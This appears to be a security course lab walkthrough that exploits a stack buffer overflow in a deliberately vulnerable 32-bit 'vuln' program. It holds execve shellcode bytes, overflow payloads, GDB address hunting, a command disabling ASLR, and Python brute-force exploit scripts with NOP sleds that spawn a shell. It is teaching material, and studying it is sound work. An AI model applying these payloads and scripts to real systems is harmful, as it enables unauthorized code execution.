We extract the two shellcode byte strings from the given links (1, 2):
$ cat 216.print \x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff $ cat 827.print \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
and then we use echo
to generate two binary shellcode files:
$ echo -en '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff' > 216.bin $ echo -en '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' > 827.bin
Afterwards, we disassemble the binary shellcode files:
$ objdump -D -b binary -m i386 -M intel 827.bin 827.bin: file format binary Disassembly of section .data: 00000000 <.data>: 0: 31 c0 xor eax,eax 2: 50 push eax 3: 68 2f 2f 73 68 push 0x68732f2f 8: 68 2f 62 69 6e push 0x6e69622f d: 89 e3 mov ebx,esp f: 50 push eax 10: 53 push ebx 11: 89 e1 mov ecx,esp 13: b0 0b mov al,0xb 15: cd 80 int 0x80 $ objdump -D -b binary -m i386 -M intel 216.bin 216.bin: file format binary Disassembly of section .data: 00000000 <.data>: 0: 6a 46 push 0x46 2: 58 pop eax 3: 31 db xor ebx,ebx 5: 31 c9 xor ecx,ecx 7: cd 80 int 0x80 9: eb 21 jmp 0x2c b: 5f pop edi c: 6a 0b push 0xb e: 58 pop eax f: 99 cdq 10: 52 push edx 11: 66 68 2d 63 pushw 0x632d 15: 89 e6 mov esi,esp 17: 52 push edx 18: 68 2f 2f 73 68 push 0x68732f2f 1d: 68 2f 62 69 6e push 0x6e69622f 22: 89 e3 mov ebx,esp 24: 52 push edx 25: 57 push edi 26: 56 push esi 27: 53 push ebx 28: 89 e1 mov ecx,esp 2a: cd 80 int 0x80 2c: e8 da ff ff ff call 0xb
and we compare the resulting assembly source code to the one in the initial links. We find they are identical conforming we did a proper generation and disassembling of the binary shellcode files.
TODO
TODO
TODO
TODO
We first compile out the source code files:
$ make cc -m32 -Wall -fno-stack-protector -g -c -o vuln.o vuln.c cc -m32 -zexecstack vuln.o -o vuln
We want to generate the payload for the shellcode. In order to find it easily in memory, we add 32
A
characters at the beginning of the payload. We name the file shellcode_payload
$ perl -e 'print "A"x32,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > shellcode_payload $ xxd shellcode_payload 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000020: 31c0 5068 2f2f 7368 682f 6269 6e89 e350 1.Ph//shh/bin..P 00000030: 5389 e131 d2b0 0bcd 80 S..1.....
This payload will be the contents of the environment variable where we are going to jump. Let's run the program under GDB with this environment variable defined:
$ SHELLCODE=$(cat shellcode_payload) gdb -q ./vuln Reading symbols from ./vuln...done. gdb-peda$ start [...] gdb-peda$ find "AAAAAAAAA" $esp $esp+1000 Searching for 'AAAAAAAAA' in range: 0xbffff240 - 0xbffff628 Found 3 results, display max 3 items: [stack] : 0xbffff5b7 ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀") [stack] : 0xbffff5c0 ('A' <repeats 23 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀") [stack] : 0xbffff5c9 ('A' <repeats 14 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀") gdb-peda$ show env SHELLCODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1�Ph//shh/bin��PS��1Ұ XDG_VTNR=7 ORBIT_SOCKETDIR=/tmp/orbit-razvan
We've found the contents of the variable at address 0xbffff5b7
through the use of the find
GDB command. We've double checked the variable using the show env
command. In PEDA it's even easier to find a string by using the searchmem
command without any range:
gdb-peda$ searchmem AAAAAAAAA Searching for 'AAAAAAAAA' in: None ranges Found 3 results, display max 3 items: [stack] : 0xbffff5b7 ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀") [stack] : 0xbffff5c0 ('A' <repeats 23 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀") [stack] : 0xbffff5c9 ('A' <repeats 14 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
Moreover, we could have directly looked for environment variables using the environ
pointer:
gdb-peda$ x/10s * ((char **) environ) 0xbffff505: "XDG_VTNR=7" 0xbffff510: "ORBIT_SOCKETDIR=/tmp/orbit-razvan" 0xbffff532: "SSH_AGENT_PID=3948" 0xbffff545: "XDG_SESSION_ID=1" 0xbffff556: "TERMINATOR_UUID=urn:uuid:40160cae-8752-4a46-adb6-cfa4c53a5bba" 0xbffff594: "XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/razvan" 0xbffff5c6: "SHELLCODE=", 'A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀" 0xbffff60a: "TERM=xterm" 0xbffff615: "SHELL=/bin/bash" 0xbffff625: "PT5HOME=/usr/local/PacketTracer5"
The address above is different because we've used a different program run and the values changed.
By removing the padding we find out the address of the shellcode in memory
$ python -c 'print hex(0xbffff5b7+32)' 0xbffff5d7
This (0xbffff5d7
) is the address where we have to jump to trigger the execution of the shellcode.
In the same GDB session let's also find out the difference between the start address of the buffer
local variable and the address where the function return address is stored:
gdb-peda$ disassemble do_nothing_successfully Dump of assembler code for function do_nothing_successfully: 0x0804847b <+0>: push ebp 0x0804847c <+1>: mov ebp,esp 0x0804847e <+3>: sub esp,0x18 0x08048481 <+6>: sub esp,0x8 0x08048484 <+9>: push DWORD PTR [ebp+0x8] 0x08048487 <+12>: lea eax,[ebp-0x10] 0x0804848a <+15>: push eax 0x0804848b <+16>: call 0x8048350 <strcpy@plt> 0x08048490 <+21>: add esp,0x10 0x08048493 <+24>: movzx eax,BYTE PTR [ebp-0x10] 0x08048497 <+28>: mov edx,eax 0x08048499 <+30>: sar dl,0x7 0x0804849c <+33>: shr dl,0x5 0x0804849f <+36>: add eax,edx 0x080484a1 <+38>: and eax,0x7 0x080484a4 <+41>: sub eax,edx 0x080484a6 <+43>: cmp al,0x3 0x080484a8 <+45>: jne 0x80484ae <do_nothing_successfully+51> 0x080484aa <+47>: mov BYTE PTR [ebp-0x10],0x61 0x080484ae <+51>: leave 0x080484af <+52>: ret End of assembler dump. gdb-peda$ b *0x08048497 Breakpoint 2 at 0x8048497: file vuln.c, line 12. gdb-peda$ c [...] Breakpoint 2, 0x08048497 in do_nothing_successfully (str=0xbffff244 "aaaa\n") at vuln.c:12 12 if (buffer[0] % 8 == 3) gdb-peda$ p &buffer $3 = (char (*)[8]) 0xbffff218 gdb-peda$ p $ebp+4 $4 = (void *) 0xbffff22c gdb-peda$
We've used a breakpoint right after the call of strcpy()
and we've found out the address of the buffer
local variable (0xbffff218
) and of the function return address (0xbffff22c
). We compute the difference:
$ python -c 'print 0xbffff22c-0xbffff218' 20
So we'll have to create a payload to trigger the attack that consists of 20 bytes of padding (we'll use 20
bytes of A
) followed by the address we want to jump to, the address of the shellcode as content of the environment variable (0xbffff5d7
).
Let's now create the trigger payload in the file overflow_padding
:
$ perl -e 'print "A"x20,"\xd7\xf5\xff\xbf","\n"' > overflow_payload $ xxd overflow_payload 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000010: 4141 4141 d7f5 ffbf 0a AAAA.....
This can now be fed as input to our program and we should end up with a shell in GDB. Let's try it:
$ SHELLCODE=$(cat shellcode_payload) gdb -q ./vuln Reading symbols from ./vuln...done. gdb-peda$ start < overflow_payload [...] gdb-peda$ x/20i 0xbffff5d7 0xbffff5d7: xor eax,eax 0xbffff5d9: push eax 0xbffff5da: push 0x68732f2f 0xbffff5df: push 0x6e69622f 0xbffff5e4: mov ebx,esp 0xbffff5e6: push eax 0xbffff5e7: push ebx 0xbffff5e8: mov ecx,esp 0xbffff5ea: xor edx,edx 0xbffff5ec: mov al,0xb 0xbffff5ee: int 0x80 0xbffff5f0: add BYTE PTR [ebx+0x48],dl 0xbffff5f3: inc ebp 0xbffff5f4: dec esp 0xbffff5f5: dec esp 0xbffff5f6: cmp eax,0x6e69622f 0xbffff5fb: das 0xbffff5fc: bound esp,QWORD PTR [ecx+0x73] 0xbffff5ff: push 0x52455400 0xbffff604: dec ebp gdb-peda$ c Continuing. process 30574 is executing new program: /bin/dash [Inferior 1 (process 30574) exited normally] Warning: not running or target is remote gdb-peda$
Yes! It works! You can see that we've double checked the placement of the shellcode by disassembling that specific area using x/20i 0xbffff5d7
.
Of course, this address only works in GDB, we'll have to make it work in the “real world” as well. First we check whether ASLR is disabled
$ ldd ./vuln linux-gate.so.1 (0xb7ffd000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) /lib/ld-linux.so.2 (0x41000000) $ ldd ./vuln linux-gate.so.1 (0xb7ffd000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) /lib/ld-linux.so.2 (0x41000000)
As library files are placed in the same location, we conclude ASLR is disabled.
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space $ linux32 -3 -R bash -l
Let's now see what happened if we ran the program with the current overflow_payload
:
$ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln ps Segmentation fault
As expected it doesn't work so we'll see what caused the delivery of SIGSEGV
:
razvan@einherjar:~/projects/ctf/sss/summerschool2014.git/sessions/sess-09/skel/shellcode-in-envvar$ dmesg [212063.796532] show_signal_msg: 300 callbacks suppressed [212063.796544] vuln[32251]: segfault at 45 ip 00000000bffff5e5 sp 00000000bffff30d error 6
The program failed at EIP 0xbffff5e5
. We jumped to the address in the overflow_payload
file but it differs in “real world” than in GDB.
We can use a nice trick to identify the address we need to jump to. We can start the program and not provide input to it. $ SHELLCODE=$(cat shellcode_payload) ./vuln </code>
Now the program expects a form of input. We make use of the fact that the program is blocked and connect to it through GDB on another console:
$ gdb -q -p $(pidof vuln) Attaching to process 2692 Reading symbols from /home/razvan/projects/ctf/sss/summerschool2014.git/sessions/sess-09/skel/shellcode-in-envvar/vuln...done. Reading symbols from /lib/i386-linux-gnu/i686/cmov/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/i386-linux-gnu/i686/cmov/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 [...] gdb-peda$
While in GDB we undertake the same steps we took above to find out the address of the shellcode payload:
gdb-peda$ find "AAAAAAAAAAAAAA" $esp $esp+1000 Searching for 'AAAAAAAAAAAAAA' in range: 0xbffff1d8 - 0xbffff5c0 Found 2 results, display max 2 items: [stack] : 0xbffff56c ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀") [stack] : 0xbffff57a ('A' <repeats 18 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀") gdb-peda$
We did it! The address is 0xbffff56c
and we'll use that to compute the start of the shellcode:
$ python -c 'print hex(0xbffff56c+32)' 0xbffff58c
The shellcode starts at address 0xbffff58c
. We'll now use that address to reconstruct the overflow_payload
file:
$ perl -e 'print "A"x20,"\x8c\xf5\xff\xbf","\n"' > overflow_payload
Now that's done, let's try exploiting the program again:
$ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln ps PID TTY TIME CMD 5598 pts/7 00:00:00 cat 5599 pts/7 00:00:00 sh 5618 pts/7 00:00:00 ps 21165 pts/7 00:00:00 bash
Excellent! It worked! We managed to find the “the real” world address of the shellcode in the environment variable, and we've triggered a jump to it.
Let's now assume we wouldn't have been able to have the program blocked and we couldn't connect with GDB to it and extract the jump address. In that case we would need to search for the location to jump.
To make it easier we would also insert plenty of NOP
operations at the beginning of the shellcode payload. If we were to jump to any address inside the NOP
-filled area shellcode, we would simply “slide” towards the shellcode; this is also called a NOP
sled.
Also we would need to jump to different addresses and try running the executable and see whether we found a correct address. For that we would use a variable and increment with a given offset and retry until we get the shell.
To automate all this process we've created a Python script dubbed exploit.py
:
#!/usr/bin/env python import struct import os import sys import subprocess def write_to_file(filename, data): f = open(filename, "w") f.write(data) f.close() nop_padding_len = 128 NOP = "\x90" shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" shellcode_payload = NOP*nop_padding_len + shellcode write_to_file("shellcode_payload", shellcode_payload) # Start from address and create overflow_payload to jump to that address. # Increment address by step bytes and retry. For each payload launch # executable through subprocess.call(). step = nop_padding_len / 2 start_address=0xbffff300 for offset_index in range(0, 64): # Create overflow payload. jump_address = start_address + step*offset_index overflow_payload = 20*"A" + struct.pack("<I", jump_address) + "\n" write_to_file("overflow_payload", overflow_payload) # Print address and launch executable. print >> sys.stderr, "using address 0x%08x" % (jump_address) subprocess.call("cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln", shell=True)
We start from address 0xbffff300
the address we know the stack should be around at the time we call the do_nothing_successfully()
function. We increment by 64
bytes the jump address and we construct the overflow_payload
file according to that. For the shellcode_payload
file we add 128
bytes of padding (using character A
). We run the program through subprocess.call()
.
We execute the exploit.py
script and we insert the ps
command to find out the address when we are getting a shell:
$ ./exploit.py using address 0xbffff300 Segmentation fault ps cat: write error: Broken pipe using address 0xbffff340 Segmentation fault ps [...] using address 0xbfffff80 ps PID TTY TIME CMD 19888 pts/7 00:00:00 bash 20809 pts/7 00:00:00 python 21397 pts/7 00:00:00 sh 21398 pts/7 00:00:00 cat 21399 pts/7 00:00:00 sh 21420 pts/7 00:00:00 ps ps PID TTY TIME CMD 19888 pts/7 00:00:00 bash 20809 pts/7 00:00:00 python 21397 pts/7 00:00:00 sh 21398 pts/7 00:00:00 cat 21399 pts/7 00:00:00 sh 21453 pts/7 00:00:00 ps ^C
Finally! We found that the address 0xbfffff80
works. However it took quite a lot of key pressing to get to that. It would help if we could do it faster. Let's just feed 64
messages of ps\n
to the script:
$ perl -e 'print "ps\n"x64' | ./exploit.py [...] Segmentation fault using address 0xbfffff00 Segmentation fault using address 0xbfffff40 Segmentation fault using address 0xbfffff80 using address 0xbfffffc0 using address 0xc0000000 Segmentation fault using address 0xc0000040 Segmentation fault [...]
We don't get anything useful, but what we do get are a couple of addresses (0xbfffff80
, 0xbfffffc0
) that are not followed by a Segmentation fault message. There are the ones we need. The reason they don't show any output has to do with input buffering and we'll talk about that soon.
Actually, even if we fed /dev/input
to the exploit.py
script we would get the same result.
$ cat /dev/null | ./exploit.py [...] Segmentation fault using address 0xbfffff00 Segmentation fault using address 0xbfffff40 Segmentation fault using address 0xbfffff80 using address 0xbfffffc0 using address 0xc0000000 Segmentation fault using address 0xc0000040 Segmentation fault [...]
Now that we know the address we can update the exploit.py
script:
#!/usr/bin/env python import struct import os import sys import subprocess def write_to_file(filename, data): f = open(filename, "w") f.write(data) f.close() nop_padding_len = 128 NOP = "\x90" shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" shellcode_payload = NOP*nop_padding_len + shellcode write_to_file("shellcode_payload", shellcode_payload) # Start from address and create overflow_payload to jump to that address. # Increment address by step bytes and retry. For each payload launch # executable through os.system(). step = nop_padding_len / 2 start_address=0xbfffff80 for offset_index in range(0, 1): # Create overflow payload. jump_address = start_address + step*offset_index overflow_payload = 20*"A" + struct.pack("<I", jump_address) + "\n" write_to_file("overflow_payload", overflow_payload) # Print address and launch executable. print >> sys.stderr, "using address 0x%08x" % (jump_address) subprocess.call("cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln", shell=True)
In it's current version the script uses the correct address 0xbfffff80
and triggers a jump to it. If we run it, it will provide the expected outcome: the creation of a shell:
$ ./exploit.py using address 0xbfffff80 ps PID TTY TIME CMD 19888 pts/7 00:00:00 bash 23559 pts/7 00:00:00 python 23560 pts/7 00:00:00 sh 23561 pts/7 00:00:00 cat 23562 pts/7 00:00:00 sh 23577 pts/7 00:00:00 ps ls Makefile exploit.py overflow_payload shellcode_payload vuln vuln.c vuln.o
We've seen above that using a series of ps\n
commands at the end of the payload didn't provide the expected output from the shell, though it seemed to work.
First, let's restore the overflow_payload
file to do an investigation on a running solution:
$ perl -e 'print "A"x20,"\x8c\xf5\xff\xbf","\n"' > overflow_payload $ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln ps PID TTY TIME CMD 847 pts/7 00:00:00 bash 1917 pts/7 00:00:00 cat 1918 pts/7 00:00:00 sh 1929 pts/7 00:00:00 ps
Let's append a ps
string to the payload and pass it to the vulnerable program:
$ cat overflow_payload <(echo "ps") | SHELLCODE=$(cat shellcode_payload) ./vuln $
Nothing happens, though the shell should receive the ps
command.
Let's investigate using strace
on one ps
string and the 100
such strings:
$ cat overflow_payload <(echo "ps") | SHELLCODE=$(cat shellcode_payload) strace ./vuln [...] read(0, "AAAAAAAAAAAAAAAAAAAA\214\365\377\277\nps\n", 4096) = 28 --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=0} --- +++ killed by SIGSEGV +++ Segmentation fault $ cat overflow_payload <(perl -e 'print "ps"x100') | SHELLCODE=$(cat shellcode_payload) strace ./vuln execve("./vuln", ["./vuln"], [/* 38 vars */]) = 0 [...] read(0, "AAAAAAAAAAAAAAAAAAAA\214\365\377\277\npspspsp"..., 4096) = 225 --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=0} --- +++ killed by SIGSEGV +++ Segmentation fault
From the strace
output we've only selected the final read
system call. We can now see that there is a singular read
system call that reads all the data and then expects something else. When the shell starts the input is simply empty.
SIGSEGV
being delivered when the program is run under strace
. We're still investigating.
So our idea is to fill the size of the read buffer (4096
, see the third argument of the read
system call) and then provide the command. Because the overflow_payload
file occupies 25
bytes we need a padding of 4096-25 = 4071
bytes. We add this padding and then the ps
string and run the command again:
$ cat overflow_payload <(perl -e 'print "B"x4071,"ps\n"') | SHELLCODE=$(cat shellcode_payload) ./vuln PID TTY TIME CMD 847 pts/7 00:00:00 bash 3640 pts/7 00:00:00 sh 3644 pts/7 00:00:00 ps
Yes! We've manage to run the ps
command after adding the padding.
Let's give up the rather uncomfortable <(…)
construct and use files for the padding and for commands
$ perl -e 'print "B"x4071' > padding $ perl -e 'print "ps\ndf\nls\n"' > commands $ cat commands ps df ls $ cat overflow_payload padding commands | SHELLCODE=$(cat shellcode_payload) ./vuln PID TTY TIME CMD 847 pts/7 00:00:01 bash 5969 pts/7 00:00:00 sh 5971 pts/7 00:00:00 ps Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda7 38314312 21653240 14691616 60% / udev 10240 0 10240 0% /dev tmpfs 1616344 51304 1565040 4% /run tmpfs 4040856 1204 4039652 1% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 4040856 0 4040856 0% /sys/fs/cgroup /dev/sda6 944120 97480 781464 12% /boot /dev/sda8 353556532 316991516 18582296 95% /home tmpfs 808172 4 808168 1% /run/user/130 tmpfs 808172 32 808140 1% /run/user/1000 Makefile commands exploit.py overflow_payload padding shellcode_payload vuln vuln.c vuln.o
This looks better and cleaner. We are using two additional files: padding
for storing the padding and commands
for storing the commands.
Let's update the exploit.py
script to exploit-with-proper-search.py
:
#!/usr/bin/env python import struct import sys import subprocess def write_to_file(filename, data): f = open(filename, "w") f.write(data) f.close() nop_padding_len = 128 NOP = "\x90" shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" shellcode_payload = NOP*nop_padding_len + shellcode write_to_file("shellcode_payload", shellcode_payload) # Start from address and create overflow_payload to jump to that address. # Increment address by step bytes and retry. For each payload launch # executable through subprocess.call(). step = nop_padding_len / 2 start_address=0xbffff300 for offset_index in range(0, 64): # Create overflow payload. jump_address = start_address + step*offset_index overflow_payload = 20*"A" + struct.pack("<I", jump_address) + "\n" write_to_file("overflow_payload", overflow_payload) # Print address and launch executable. print >> sys.stderr, "using address 0x%08x" % (jump_address) subprocess.call("cat overflow_payload padding commands | SHELLCODE=$(cat shellcode_payload) ./vuln", shell=True)
In the script we are now using the two new files to execute commands through the new shell.
Let's see how that works:
$ ./exploit-with-proper-search.py 2>&1 | grep -C 10 PID Segmentation fault using address 0xbffffe80 Segmentation fault using address 0xbffffec0 Segmentation fault using address 0xbfffff00 Segmentation fault using address 0xbfffff40 Segmentation fault using address PID TTY TIME CMD 847 pts/7 00:00:01 bash 8343 pts/7 00:00:00 python 8344 pts/7 00:00:00 grep 8554 pts/7 00:00:00 sh 8556 pts/7 00:00:00 sh 8558 pts/7 00:00:00 ps Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda7 38314312 21653296 14691560 60% / udev 10240 0 10240 0% /dev tmpfs 1616344 51304 1565040 4% /run -- commands exploit-with-proper-search.py exploit.py overflow_payload padding shellcode_payload vuln vuln.c vuln.o using address 0xbfffffc0 PID TTY TIME CMD 847 pts/7 00:00:01 bash 8343 pts/7 00:00:00 python 8344 pts/7 00:00:00 grep 8561 pts/7 00:00:00 sh 8563 pts/7 00:00:00 sh 8565 pts/7 00:00:00 ps Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda7 38314312 21653296 14691560 60% / udev 10240 0 10240 0% /dev tmpfs 1616344 51304 1565040 4% /run
It works great! We are able to run the commands in the commands
file through the newly created shell and we are alos able to detect the address where the shellcode is located: 0xbfffff80
.